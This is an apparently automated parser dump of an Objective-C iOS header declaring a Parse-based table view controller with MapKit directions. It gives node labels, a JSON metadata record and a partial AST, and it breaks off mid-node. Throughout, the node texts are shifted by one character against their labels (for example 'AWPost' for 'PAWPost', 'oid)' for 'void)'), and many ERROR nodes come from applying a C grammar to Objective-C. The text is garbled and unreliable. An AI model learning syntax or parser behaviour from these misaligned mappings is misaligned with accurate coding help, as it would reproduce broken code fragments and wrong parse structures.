(binary_expression) "KDirections *)directions;" (identifier) "KDirections " (*) ")" (ERROR) "d" ()) "d" (identifier) "irections;" (expression_statement) " " (;) " " (comment) "/I am thinking my data is NSArray, you can use another object for store your information.\n" (ERROR) "e" (ERROR) "e" (declaration) "nd\n@interface " (type_identifier) "nd\n" (ERROR) "i" (ERROR) "i" (identifier) "nterface " (;) "" (labeled_statement) "AWPostFullPage : PFQueryTableViewController <UIAlertViewDelegate,UITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;\n" (statement_identifier) "AWPostFullPage " (:) " " (expression_statement) "FQueryTableViewController <UIAlertViewDelegate,UITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;\n" (comma_expression) "FQueryTableViewController <UIAlertViewDelegate,UITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;" (binary_expression) "FQueryTableViewController <UIAlertViewDelegate," (identifier) "FQueryTableViewController " (<) "U" (identifier) "IAlertViewDelegate," (,) "U" (comma_expression) "ITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;" (identifier) "ITableViewDelegate," (,) "U" (binary_expression) "ISearchBarDelegate>\n{\n PAWPost *friendsPost;" (identifier) "ISearchBarDelegate>" (>) "\n" (ERROR) "\n" ({) "\n" (binary_expression) "AWPost *friendsPost;" (identifier) "AWPost " (*) "f" (identifier) "riendsPost;" (;) "\n" (declaration) "OOL requestInProgress;\n" (type_identifier) "OOL " (identifier) "equestInProgress;" (;) "\n" (declaration) "OOL forceRefresh;\n" (type_identifier) "OOL " (identifier) "orceRefresh;" (;) "\n" (declaration) "FUser *friend;\n" (type_identifier) "FUser " (pointer_declarator) "friend;" (*) "f" (identifier) "riend;" (;) "\n" (declaration) "KDirectionsRequest *request;\n" (type_identifier) "KDirectionsRequest " (pointer_declarator) "request;" (*) "r" (identifier) "equest;" (;) "\n" (declaration) "KDirections *directions;\n" (type_identifier) "KDirections " (pointer_declarator) "directions;" (*) "d" (identifier) "irections;" (;) "\n" (ERROR) "\n\n\n-(void)showModalViewController:(UIViewController *)modalViewController;" (}) "\n" (unary_expression) "(void)showModalViewController:" (-) "(" (cast_expression) "void)showModalViewController:" (() "v" (type_descriptor) "oid)" (primitive_type) "oid)" ()) "s" (identifier) "howModalViewController:" (:) "(" (() "U" (binary_expression) "IViewController *)modalViewController;" (identifier) "IViewController " (*) ")" (ERROR) "m" ()) "m" (identifier) "odalViewController;" (expression_statement) "\n" (;) "\n" (expression_statement) "(void)closeModalViewController;\n" (unary_expression) "(void)closeModalViewController;" (-) "(" (cast_expression) "void)closeModalViewController;" (() "v" (type_descriptor) "oid)" (primitive_type) "oid)" ()) "c" (identifier) "loseModalViewController;" (;) "\n" (ERROR) " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize;\n-(void)showAlertWithMessage:(NSString *)message;\n@p" (binary_expression) " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize;\n-(void)showAlertWithMessage:(NSString *)message;" (binary_expression) " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize;\n-(void)showAlertWithMessage:" (binary_expression) " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:" (binary_expression) " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:" (binary_expression) " (id)initWithPost:(PAWPost *)post;" (unary_expression) " (id)initWithPost:" (-) " " (cast_expression) "id)initWithPost:" (() "i" (type_descriptor) "d)" (type_identifier) "d)" ()) "i" (identifier) "nitWithPost:" (ERROR) "(PAWPost " (:) "(" (() "P" (identifier) "AWPost " (*) ")" (ERROR) "p" ()) "p" (identifier) "ost;" (ERROR) "\n" (;) "\n" (-) " " (cast_expression) "UIImage *)imageWithImage:" (() "U" (type_descriptor) "IImage *)" (type_identifier) "IImage " (abstract_pointer_declarator) ")" (*) ")" ()) "i" (identifier) "mageWithImage:" (ERROR) "(UIImage " (:) "(" (() "U" (identifier) "IImage " (*) ")" (ERROR) "image " ()) "i" (identifier) "mage " (identifier) "caledToSize:" (ERROR) "(CGSize)newSize;\n" (:) "(" (() "C" (identifier) "GSize)" ()) "n" (identifier) "ewSize;" (;) "\n" (-) "(" (cast_expression) "void)showAlertWithMessage:" (() "v" (type_descriptor) "oid)" (primitive_type) "oid)" ()) "s" (identifier) "howAlertWithMessage:" (ERROR) "(NSString " (:) "(" (() "N" (identifier) "SString " (*) ")" (ERROR) "m" ()) "m" (identifier) "essage;" (;) "\n" (ERROR) "p" (expression_statement) "roperty (nonatomic, strong) " (call_expression) "roperty (nonatomic, strong) " (identifier) "roperty " (argument_list) "nonatomic, strong) " (() "n" (identifier) "onatomic," (,) " " (identifier) "trong)" ()) " " (;) "" (declaration) "ITextField *commentTextField;\n" (type_identifier) "ITextField " (pointer_declarator) "commentTextField;" (*) "c" (identifier) "ommentTextField;" (;) "\n" (ERROR) "property (nonatomic, strong) IBOutlet " (ERROR) "p" (call_expression) "roperty (nonatomic, strong) " (identifier) "roperty " (argument_list) "nonatomic, strong) " (() "n" (identifier) "onatomic," (,) " " (identifier) "trong)" ()) " " (identifier) "BOutlet " (declaration) "ITableView *friendsTable;\n" (type_identifier) "ITableView " (pointer_declarator) "friendsTable;" (*) "f" (identifier) "riendsTable;" (;) "\n" (ERROR) "p" (ERROR) "p" (expression_statement) "roperty(nonatomic, strong) " (call_expression) "roperty(nonatomic, strong) " (identifier) "roperty(" (argument_list) "nonatomic, strong) " (() "n" (identifier) "onatomic," (,) " " (identifier) "trong)" ()) " " (;) "" (declaration) "LLocation *myLocation;\n" (type_identifier) "LLocation " (pointer_declarator) "myLocation;" (*) "m" (identifier) "yLocation;" (;) "\n" (ERROR) "property (nonatomic, weak) id<PAWPostFullPageDelegate> delegate;\n@p" (ERROR) "p" (binary_expression) "roperty (nonatomic, weak) id<PAWPostFullPageDelegate> delegate;" (binary_expression) "roperty (nonatomic, weak) id<PAWPostFullPageDelegate>" (call_expression) "roperty (nonatomic, weak) " (identifier) "roperty " (argument_list) "nonatomic, weak) " (() "n" (identifier) "onatomic," (,) " " (identifier) "eak)" ()) " " (ERROR) "d<" (identifier) "d<" (<) "P" (identifier) "AWPostFullPageDelegate>" (>) " " (identifier) "elegate;" (;) "\n" (ERROR) "p" (expression_statement) "roperty (strong, nonatomic) " (call_expression) "roperty (strong, nonatomic) " (identifier) "roperty " (argument_list) "strong, nonatomic) " (() "s" (identifier) "trong," (,) " " (identifier) "onatomic)" ()) " " (;) "" (declaration) "INavigationController *navController;\n" (type_identifier) "INavigationController " (pointer_declarator) "navController;" (*) "n" (identifier) "avController;" (;) "\n" (ERROR) "property (nonatomic, strong)IBOutlet " (ERROR) "p" (call_expression) "roperty (nonatomic, strong)I" (identifier) "roperty " (argument_list) "nonatomic, strong)I" (() "n" (identifier) "onatomic," (,) " " (identifier) "trong)" ()) "I" (identifier) "BOutlet " (declaration) "IView *scrollView;\n" (type_identifier) "IView " (pointer_declarator) "scrollView;" (*) "s" (identifier) "crollView;" (;) "\n" (ERROR) "e" (ERROR) "e" (expression_statement) "nd\n" (identifier) "nd\n" (;) ""
331
35
{"language": "c", "success": true, "metadata": {"lines": 43, "avg_line_length": 34.74, "nodes": 217, "errors": 0, "source_hash": "891fb1bebe908309ab570f7dcc2e33fe62718b08c0e50886c8d5e927859150de", "categorized_nodes": 134}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "ifndef PAWProfileViewController_h\n#define PAWProfileViewController_h\n\n#import \"PAWPost.h\"\n#import \"NavController.h\"\n\n#endif ", "parent": null, "children": [1, 2, 3, 6, 8, 10], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 14, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "ifndef ", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "identifier", "text": "AWProfileViewController_h\n", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 34}}, {"id": 3, "type": "preproc_def", "text": "define PAWProfileViewController_h\n\n", "parent": 0, "children": [4, 5], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 4, "type": "#define", "text": "define ", "parent": 3, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 7}}, {"id": 5, "type": "identifier", "text": "AWProfileViewController_h\n", "parent": 3, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 34}}, {"id": 6, "type": "preproc_call", "text": "import \"PAWPost.h\"\n#", "parent": 0, "children": [7], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 7, "type": "preproc_arg", "text": "PAWPost.h\"\n", "parent": 6, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 19}}, {"id": 8, "type": "preproc_call", "text": "import \"NavController.h\"\n\n", "parent": 0, "children": [9], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 9, "type": "preproc_arg", "text": "NavController.h\"\n", "parent": 8, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 25}}, {"id": 10, "type": "#endif", "text": "endif ", "parent": 0, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 6}}, {"id": 11, "type": "preproc_call", "text": "import <Parse/Parse.h>\n#", "parent": null, "children": [12], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 12, "type": "preproc_arg", "text": "Parse/Parse.h>\n", "parent": 11, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 23}}, {"id": 13, "type": "preproc_call", "text": "import <ParseUI/ParseUI.h>\n@", "parent": null, "children": [14], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 14, "type": "preproc_arg", "text": "ParseUI/ParseUI.h>\n", "parent": 13, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 27}}, {"id": 15, "type": "ERROR", "text": "c", "parent": null, "children": [16], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 1}}, {"id": 16, "type": "ERROR", "text": "c", "parent": 15, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 1}}, {"id": 17, "type": "declaration", "text": "lass PAWPostFullPage;\n", "parent": null, "children": [18, 19], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 23}}, {"id": 18, "type": "type_identifier", "text": "lass ", "parent": 17, "children": [], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 6}}, {"id": 19, "type": "identifier", "text": "AWPostFullPage;", "parent": 17, "children": [], "start_point": {"row": 17, "column": 7}, "end_point": {"row": 17, "column": 22}}, {"id": 20, "type": "ERROR", "text": "protocol PAWPostFullPageDelegate <NSObject>\n-(void)addItemViewController:(PAWPostFullPage *)controller sendDataToA:(MKDirections *)directions;", "parent": null, "children": [21, 22, 23, 24, 25, 26, 27, 32, 37], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 21, "column": 97}}, {"id": 21, "type": "ERROR", "text": "p", "parent": 20, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 1}}, {"id": 22, "type": "type_identifier", "text": "rotocol ", "parent": 20, "children": [], "start_point": {"row": 20, "column": 1}, "end_point": {"row": 20, "column": 9}}, {"id": 23, "type": "identifier", "text": "AWPostFullPageDelegate ", "parent": 20, "children": [], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 20, "column": 33}}, {"id": 24, "type": "<", "text": "N", "parent": 20, "children": [], "start_point": {"row": 20, "column": 34}, "end_point": {"row": 20, "column": 35}}, {"id": 25, "type": "identifier", "text": "SObject>", "parent": 20, "children": [], "start_point": {"row": 20, "column": 35}, "end_point": {"row": 20, "column": 43}}, {"id": 26, "type": ">", "text": "\n", "parent": 20, "children": [], "start_point": {"row": 20, "column": 43}, "end_point": {"row": 20, "column": 44}}, {"id": 27, "type": "unary_expression", "text": "(void)addItemViewController:", "parent": 20, "children": [28], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 28}}, {"id": 28, "type": "cast_expression", "text": "void)addItemViewController:", "parent": 27, "children": [29, 31], "start_point": {"row": 21, "column": 1}, "end_point": {"row": 21, "column": 28}}, {"id": 29, "type": "type_descriptor", "text": "oid)", "parent": 28, "children": [30], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 6}}, {"id": 30, "type": "primitive_type", "text": "oid)", "parent": 29, "children": [], "start_point": {"row": 21, "column": 2}, "end_point": {"row": 21, "column": 6}}, {"id": 31, "type": "identifier", "text": "ddItemViewController:", "parent": 28, "children": [], "start_point": {"row": 21, "column": 7}, "end_point": {"row": 21, "column": 28}}, {"id": 32, "type": "binary_expression", "text": "AWPostFullPage *)controller sendDataToA:", "parent": 20, "children": [33, 34, 36], "start_point": {"row": 21, "column": 30}, "end_point": {"row": 21, "column": 70}}, {"id": 33, "type": "identifier", "text": "AWPostFullPage ", "parent": 32, "children": [], "start_point": {"row": 21, "column": 30}, "end_point": {"row": 21, "column": 45}}, {"id": 34, "type": "ERROR", "text": "controller ", "parent": 32, "children": [35], "start_point": {"row": 21, "column": 47}, "end_point": {"row": 21, "column": 58}}, {"id": 35, "type": "identifier", "text": "ontroller ", "parent": 34, "children": [], "start_point": {"row": 21, "column": 48}, "end_point": {"row": 21, "column": 58}}, {"id": 36, "type": "identifier", "text": "endDataToA:", "parent": 32, "children": [], "start_point": {"row": 21, "column": 59}, "end_point": {"row": 21, "column": 70}}, {"id": 37, "type": "binary_expression", "text": "KDirections *)directions;", "parent": 20, "children": [38, 39, 40], "start_point": {"row": 21, "column": 72}, "end_point": {"row": 21, "column": 97}}, {"id": 38, "type": "identifier", "text": "KDirections ", "parent": 37, "children": [], "start_point": {"row": 21, "column": 72}, "end_point": {"row": 21, "column": 84}}, {"id": 39, "type": "ERROR", "text": "d", "parent": 37, "children": [], "start_point": {"row": 21, "column": 86}, "end_point": {"row": 21, "column": 87}}, {"id": 40, "type": "identifier", "text": "irections;", "parent": 37, "children": [], "start_point": {"row": 21, "column": 87}, "end_point": {"row": 21, "column": 97}}, {"id": 41, "type": "ERROR", "text": "e", "parent": null, "children": [42], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 1}}, {"id": 42, "type": "ERROR", "text": "e", "parent": 41, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 1}}, {"id": 43, "type": "declaration", "text": "nd\n@interface ", "parent": null, "children": [44, 45, 47], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 25, "column": 10}}, {"id": 44, "type": "type_identifier", "text": "nd\n", "parent": 43, "children": [], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 4}}, {"id": 45, "type": "ERROR", "text": "i", "parent": 43, "children": [46], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 1}}, {"id": 46, "type": "ERROR", "text": "i", "parent": 45, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 1}}, {"id": 47, "type": "identifier", "text": "nterface ", "parent": 43, "children": [], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 10}}, {"id": 48, "type": "labeled_statement", "text": "AWPostFullPage : PFQueryTableViewController <UIAlertViewDelegate,UITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;\n", "parent": null, "children": [49], "start_point": {"row": 25, "column": 11}, "end_point": {"row": 27, "column": 25}}, {"id": 49, "type": "statement_identifier", "text": "AWPostFullPage ", "parent": 48, "children": [], "start_point": {"row": 25, "column": 11}, "end_point": {"row": 25, "column": 26}}, {"id": 50, "type": "comma_expression", "text": "FQueryTableViewController <UIAlertViewDelegate,UITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;", "parent": 48, "children": [51, 55], "start_point": {"row": 25, "column": 29}, "end_point": {"row": 27, "column": 24}}, {"id": 51, "type": "binary_expression", "text": "FQueryTableViewController <UIAlertViewDelegate,", "parent": 50, "children": [52, 53, 54], "start_point": {"row": 25, "column": 29}, "end_point": {"row": 25, "column": 76}}, {"id": 52, "type": "identifier", "text": "FQueryTableViewController ", "parent": 51, "children": [], "start_point": {"row": 25, "column": 29}, "end_point": {"row": 25, "column": 55}}, {"id": 53, "type": "<", "text": "U", "parent": 51, "children": [], "start_point": {"row": 25, "column": 56}, "end_point": {"row": 25, "column": 57}}, {"id": 54, "type": "identifier", "text": "IAlertViewDelegate,", "parent": 51, "children": [], "start_point": {"row": 25, "column": 57}, "end_point": {"row": 25, "column": 76}}, {"id": 55, "type": "comma_expression", "text": "ITableViewDelegate,UISearchBarDelegate>\n{\n PAWPost *friendsPost;", "parent": 50, "children": [56, 57], "start_point": {"row": 25, "column": 77}, "end_point": {"row": 27, "column": 24}}, {"id": 56, "type": "identifier", "text": "ITableViewDelegate,", "parent": 55, "children": [], "start_point": {"row": 25, "column": 77}, "end_point": {"row": 25, "column": 96}}, {"id": 57, "type": "binary_expression", "text": "ISearchBarDelegate>\n{\n PAWPost *friendsPost;", "parent": 55, "children": [58, 59, 60, 61], "start_point": {"row": 25, "column": 97}, "end_point": {"row": 27, "column": 24}}, {"id": 58, "type": "identifier", "text": "ISearchBarDelegate>", "parent": 57, "children": [], "start_point": {"row": 25, "column": 97}, "end_point": {"row": 25, "column": 116}}, {"id": 59, "type": ">", "text": "\n", "parent": 57, "children": [], "start_point": {"row": 25, "column": 116}, "end_point": {"row": 25, "column": 117}}, {"id": 60, "type": "ERROR", "text": "\n", "parent": 57, "children": [], "start_point": {"row": 26, "column": 0}, "end_point": {"row": 26, "column": 1}}, {"id": 61, "type": "binary_expression", "text": "AWPost *friendsPost;", "parent": 57, "children": [62, 63, 64], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 24}}, {"id": 62, "type": "identifier", "text": "AWPost ", "parent": 61, "children": [], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 11}}, {"id": 63, "type": "*", "text": "f", "parent": 61, "children": [], "start_point": {"row": 27, "column": 12}, "end_point": {"row": 27, "column": 13}}, {"id": 64, "type": "identifier", "text": "riendsPost;", "parent": 61, "children": [], "start_point": {"row": 27, "column": 13}, "end_point": {"row": 27, "column": 24}}, {"id": 65, "type": "declaration", "text": "OOL requestInProgress;\n", "parent": null, "children": [66, 67], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 27}}, {"id": 66, "type": "type_identifier", "text": "OOL ", "parent": 65, "children": [], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 8}}, {"id": 67, "type": "identifier", "text": "equestInProgress;", "parent": 65, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 26}}, {"id": 68, "type": "declaration", "text": "OOL forceRefresh;\n", "parent": null, "children": [69, 70], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 22}}, {"id": 69, "type": "type_identifier", "text": "OOL ", "parent": 68, "children": [], "start_point": {"row": 29, "column": 4}, "end_point": {"row": 29, "column": 8}}, {"id": 70, "type": "identifier", "text": "orceRefresh;", "parent": 68, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 21}}, {"id": 71, "type": "declaration", "text": "FUser *friend;\n", "parent": null, "children": [72, 73], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 31, "column": 19}}, {"id": 72, "type": "type_identifier", "text": "FUser ", "parent": 71, "children": [], "start_point": {"row": 31, "column": 4}, "end_point": {"row": 31, "column": 10}}, {"id": 73, "type": "pointer_declarator", "text": "friend;", "parent": 71, "children": [74, 75], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 18}}, {"id": 74, "type": "*", "text": "f", "parent": 73, "children": [], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 12}}, {"id": 75, "type": "identifier", "text": "riend;", "parent": 73, "children": [], "start_point": {"row": 31, "column": 12}, "end_point": {"row": 31, "column": 18}}, {"id": 76, "type": "declaration", "text": "KDirectionsRequest *request;\n", "parent": null, "children": [77, 78], "start_point": {"row": 32, "column": 4}, "end_point": {"row": 32, "column": 33}}, {"id": 77, "type": "type_identifier", "text": "KDirectionsRequest ", "parent": 76, "children": [], "start_point": {"row": 32, "column": 4}, "end_point": {"row": 32, "column": 23}}, {"id": 78, "type": "pointer_declarator", "text": "request;", "parent": 76, "children": [79, 80], "start_point": {"row": 32, "column": 24}, "end_point": {"row": 32, "column": 32}}, {"id": 79, "type": "*", "text": "r", "parent": 78, "children": [], "start_point": {"row": 32, "column": 24}, "end_point": {"row": 32, "column": 25}}, {"id": 80, "type": "identifier", "text": "equest;", "parent": 78, "children": [], "start_point": {"row": 32, "column": 25}, "end_point": {"row": 32, "column": 32}}, {"id": 81, "type": "declaration", "text": "KDirections *directions;\n", "parent": null, "children": [82, 83], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 29}}, {"id": 82, "type": "type_identifier", "text": "KDirections ", "parent": 81, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 16}}, {"id": 83, "type": "pointer_declarator", "text": "directions;", "parent": 81, "children": [84, 85], "start_point": {"row": 33, "column": 17}, "end_point": {"row": 33, "column": 28}}, {"id": 84, "type": "*", "text": "d", "parent": 83, "children": [], "start_point": {"row": 33, "column": 17}, "end_point": {"row": 33, "column": 18}}, {"id": 85, "type": "identifier", "text": "irections;", "parent": 83, "children": [], "start_point": {"row": 33, "column": 18}, "end_point": {"row": 33, "column": 28}}, {"id": 86, "type": "ERROR", "text": "\n\n\n-(void)showModalViewController:(UIViewController *)modalViewController;", "parent": null, "children": [87, 92], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 37, "column": 70}}, {"id": 87, "type": "unary_expression", "text": "(void)showModalViewController:", "parent": 86, "children": [88], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 30}}, {"id": 88, "type": "cast_expression", "text": "void)showModalViewController:", "parent": 87, "children": [89, 91], "start_point": {"row": 37, "column": 1}, "end_point": {"row": 37, "column": 30}}, {"id": 89, "type": "type_descriptor", "text": "oid)", "parent": 88, "children": [90], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 6}}, {"id": 90, "type": "primitive_type", "text": "oid)", "parent": 89, "children": [], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 6}}, {"id": 91, "type": "identifier", "text": "howModalViewController:", "parent": 88, "children": [], "start_point": {"row": 37, "column": 7}, "end_point": {"row": 37, "column": 30}}, {"id": 92, "type": "binary_expression", "text": "IViewController *)modalViewController;", "parent": 86, "children": [93, 94, 95], "start_point": {"row": 37, "column": 32}, "end_point": {"row": 37, "column": 70}}, {"id": 93, "type": "identifier", "text": "IViewController ", "parent": 92, "children": [], "start_point": {"row": 37, "column": 32}, "end_point": {"row": 37, "column": 48}}, {"id": 94, "type": "ERROR", "text": "m", "parent": 92, "children": [], "start_point": {"row": 37, "column": 50}, "end_point": {"row": 37, "column": 51}}, {"id": 95, "type": "identifier", "text": "odalViewController;", "parent": 92, "children": [], "start_point": {"row": 37, "column": 51}, "end_point": {"row": 37, "column": 70}}, {"id": 96, "type": "unary_expression", "text": "(void)closeModalViewController;", "parent": null, "children": [97], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 31}}, {"id": 97, "type": "cast_expression", "text": "void)closeModalViewController;", "parent": 96, "children": [98, 100], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 31}}, {"id": 98, "type": "type_descriptor", "text": "oid)", "parent": 97, "children": [99], "start_point": {"row": 38, "column": 2}, "end_point": {"row": 38, "column": 6}}, {"id": 99, "type": "primitive_type", "text": "oid)", "parent": 98, "children": [], "start_point": {"row": 38, "column": 2}, "end_point": {"row": 38, "column": 6}}, {"id": 100, "type": "identifier", "text": "loseModalViewController;", "parent": 97, "children": [], "start_point": {"row": 38, "column": 7}, "end_point": {"row": 38, "column": 31}}, {"id": 101, "type": "ERROR", "text": " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize;\n-(void)showAlertWithMessage:(NSString *)message;\n@p", "parent": null, "children": [102, 139], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 43, "column": 1}}, {"id": 102, "type": "binary_expression", "text": " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize;\n-(void)showAlertWithMessage:(NSString *)message;", "parent": 101, "children": [103, 135, 137, 138], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 42, "column": 47}}, {"id": 103, "type": "binary_expression", "text": " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:(CGSize)newSize;\n-(void)showAlertWithMessage:", "parent": 102, "children": [104, 128, 131], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 42, "column": 27}}, {"id": 104, "type": "binary_expression", "text": " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:(UIImage *)image scaledToSize:", "parent": 103, "children": [105, 123, 125, 127], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 41, "column": 57}}, {"id": 105, "type": "binary_expression", "text": " (id)initWithPost:(PAWPost *)post;\n\n- (UIImage *)imageWithImage:", "parent": 104, "children": [106, 117, 118, 119], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 41, "column": 27}}, {"id": 106, "type": "binary_expression", "text": " (id)initWithPost:(PAWPost *)post;", "parent": 105, "children": [107, 113, 115, 116], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 34}}, {"id": 107, "type": "unary_expression", "text": " (id)initWithPost:", "parent": 106, "children": [108, 109], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 18}}, {"id": 108, "type": "-", "text": " ", "parent": 107, "children": [], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 1}}, {"id": 109, "type": "cast_expression", "text": "id)initWithPost:", "parent": 107, "children": [110, 112], "start_point": {"row": 39, "column": 2}, "end_point": {"row": 39, "column": 18}}, {"id": 110, "type": "type_descriptor", "text": "d)", "parent": 109, "children": [111], "start_point": {"row": 39, "column": 3}, "end_point": {"row": 39, "column": 5}}, {"id": 111, "type": "type_identifier", "text": "d)", "parent": 110, "children": [], "start_point": {"row": 39, "column": 3}, "end_point": {"row": 39, "column": 5}}, {"id": 112, "type": "identifier", "text": "nitWithPost:", "parent": 109, "children": [], "start_point": {"row": 39, "column": 6}, "end_point": {"row": 39, "column": 18}}, {"id": 113, "type": "ERROR", "text": "(PAWPost ", "parent": 106, "children": [114], "start_point": {"row": 39, "column": 18}, "end_point": {"row": 39, "column": 27}}, {"id": 114, "type": "identifier", "text": "AWPost ", "parent": 113, "children": [], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 27}}, {"id": 115, "type": "ERROR", "text": "p", "parent": 106, "children": [], "start_point": {"row": 39, "column": 29}, "end_point": {"row": 39, "column": 30}}, {"id": 116, "type": "identifier", "text": "ost;", "parent": 106, "children": [], "start_point": {"row": 39, "column": 30}, "end_point": {"row": 39, "column": 34}}, {"id": 117, "type": "ERROR", "text": "\n", "parent": 105, "children": [], "start_point": {"row": 39, "column": 34}, "end_point": {"row": 39, "column": 35}}, {"id": 118, "type": "-", "text": " ", "parent": 105, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 1}}, {"id": 119, "type": "cast_expression", "text": "UIImage *)imageWithImage:", "parent": 105, "children": [120, 122], "start_point": {"row": 41, "column": 2}, "end_point": {"row": 41, "column": 27}}, {"id": 120, "type": "type_descriptor", "text": "IImage *)", "parent": 119, "children": [121], "start_point": {"row": 41, "column": 3}, "end_point": {"row": 41, "column": 12}}, {"id": 121, "type": "type_identifier", "text": "IImage ", "parent": 120, "children": [], "start_point": {"row": 41, "column": 3}, "end_point": {"row": 41, "column": 10}}, {"id": 122, "type": "identifier", "text": "mageWithImage:", "parent": 119, "children": [], "start_point": {"row": 41, "column": 13}, "end_point": {"row": 41, "column": 27}}, {"id": 123, "type": "ERROR", "text": "(UIImage ", "parent": 104, "children": [124], "start_point": {"row": 41, "column": 27}, "end_point": {"row": 41, "column": 36}}, {"id": 124, "type": "identifier", "text": "IImage ", "parent": 123, "children": [], "start_point": {"row": 41, "column": 29}, "end_point": {"row": 41, "column": 36}}, {"id": 125, "type": "ERROR", "text": "image ", "parent": 104, "children": [126], "start_point": {"row": 41, "column": 38}, "end_point": {"row": 41, "column": 44}}, {"id": 126, "type": "identifier", "text": "mage ", "parent": 125, "children": [], "start_point": {"row": 41, "column": 39}, "end_point": {"row": 41, "column": 44}}, {"id": 127, "type": "identifier", "text": "caledToSize:", "parent": 104, "children": [], "start_point": {"row": 41, "column": 45}, "end_point": {"row": 41, "column": 57}}, {"id": 128, "type": "ERROR", "text": "(CGSize)newSize;\n", "parent": 103, "children": [129, 130], "start_point": {"row": 41, "column": 57}, "end_point": {"row": 41, "column": 74}}, {"id": 129, "type": "identifier", "text": "GSize)", "parent": 128, "children": [], "start_point": {"row": 41, "column": 59}, "end_point": {"row": 41, "column": 65}}, {"id": 130, "type": "identifier", "text": "ewSize;", "parent": 128, "children": [], "start_point": {"row": 41, "column": 66}, "end_point": {"row": 41, "column": 73}}, {"id": 131, "type": "cast_expression", 